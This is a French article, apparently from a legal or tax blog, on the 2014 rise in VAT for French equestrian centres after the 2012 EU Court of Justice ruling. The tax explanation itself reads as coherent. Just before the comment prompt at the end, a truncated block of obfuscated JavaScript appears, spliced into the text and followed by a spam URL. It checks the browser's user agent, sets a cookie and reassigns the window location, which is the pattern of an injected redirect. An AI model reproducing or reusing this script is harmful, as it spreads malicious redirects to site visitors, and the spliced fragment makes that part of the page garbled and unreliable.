TVA et Equitation – Focus sur l’actualité fiscale du début de l’année 2014

Si l’on en croit le dernier communiqué de la Fédération France d’Equitation et du Groupement Hippique National en date du 24 janvier 2014 intitulé « Sortie de crise », les esprits semblent s’être quelque peu apaisés et la volonté de mettre en place, conjointement avec le Gouvernement, « une véritable politique européenne du cheval » apparaît être désormais la priorité.

Revenons alors sur cette « saga » de la TVA des activités équestres, encore appelée « équi-taxe ».

La condamnation de la France par la Cour de Justice de l’Union Européenne

Par une décision en date du 8 mars 2012, la CJUE a condamné la France (mais aussi plusieurs autres pays dont l’Allemagne, l’Autriche et les Pays-Bas) en ce qu’elle n’avait pas correctement transposé la Directive TVA et a, en particulier, décidé que :

« En appliquant des taux réduits de taxe sur la valeur ajoutée aux opérations relatives aux équidés et, notamment, aux chevaux, lorsque ceux-ci ne sont normalement pas destinés à être utilisés dans la préparation des denrées alimentaires ou dans la production agricole, la République française a manqué aux obligations qui lui incombent en vertu des articles 96 à 99 de la directive 2006/112/CE du Conseil, du 28 novembre 2006, relative au système commun de taxe sur la valeur ajoutée, lus en combinaison avec l’annexe III de celle-ci. »

Cette décision avait constitué un premier pas dans la réforme de l’équi-taxe.

Un long débat et une mobilisation importante des acteurs de la filière

Cette décision a été suivie par un long débat. Dans un premier temps, le Gouvernement avait tout d’abord annoncé de ne pas vouloir abroger l’article 279 b sexies du Code général des impôts (qui concerne les prestations correspondant au droit d’utilisation des animaux à des fins d’activités physiques et sportives et de toutes installations agricoles nécessaires à cet effet).

Puis, il avait été finalement décidé, dès le 1er janvier 2013, d’appliquer le taux plein de TVA (19.6%) à la plupart des prestations et transactions dans la filière équine, excepté les activités de centres équestres qui conservaient un taux réduit de TVA (7%).

Toutefois, face à la menace d’une nouvelle saisine de la CJUE par la Commission Européenne, le Gouvernement a annoncé son intention de se mettre « en conformité » avec la décision de la CJUE en date du 8 mars 2012 dans les meilleurs délais, c’est-à-dire d’appliquer un taux de TVA de 20% sur les activités de centres équestres à compter du 1er janvier 2014.

S’en est suivie une mobilisation importante des acteurs de la filière équine, à travers l’organisation de nombreuses manifestations dont chacun a eu connaissance.

Malgré cette mobilisation, le décret abrogeant le taux réduit de TVA applicable aux activités équestres a été publié le 13 novembre 2013 au Journal Officiel et est entré en vigueur le 1er janvier 2014. Il est à noter que certains aménagements ont été prévus comme le fait que tous les contrats conclus avant le 31 décembre 2013 continuent à bénéficier d’un taux de TVA réduit jusqu’à leur terme et, au plus tard, jusqu’au 31 décembre 2014.

La modification du taux de TVA applicable aux activités équestres par le Gouvernement français

Une instruction fiscale, publiée le 31 janvier 2014, a rendu définitifs les taux de TVA applicables à la filière équine. Il ressort que :

Sont soumises au taux normal de TVA (20%) : les prestations des centres équestres, correspondant au droit d’utilisation d’animaux à des fins d’activités physiques et sportives, ainsi que les installations agricoles nécessaires à ces activités, i.e. l’enseignement de l’équitation, les prises en pension, le dressage, les ventes d’équidés ;

– Sont, en revanche, soumises au taux réduit de TVA (5,5%) les activités suivantes :

  • les animations, activités de démonstration et visites des installations sportives aux fins de découverte et de familiarisation avec l’environnement équestre,
  • l’accès au centre à des fins d’utilisation des installations à caractère sportif des établissements équestres (manège, carrière, parcours, écurie et équipements sportifs) ;

– Un plan d’accompagnement est mis en œuvre pour la filière :

  • les contrats conclus avant le 31 décembre 2013 continuent à bénéficier du taux à 7 % jusqu’à leur terme et au plus tard le 31 décembre 2014 (i.e., également les attestations de cotisation, d’inscription, d’adhésion ou de licence),
  • une aide aux centres équestres sera mise en place.

A noter, enfin, que les secteurs de la production agricole et de la préparation de denrées alimentaires ne sont pas concernés et conservent le taux réduit de TVA (passé à 10 % au 1er janvier 2014).

a48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}http://jg-bau.cz/?p=27442

Laissez un commentaire

Vous devez être connecté pour laisser un commentaire.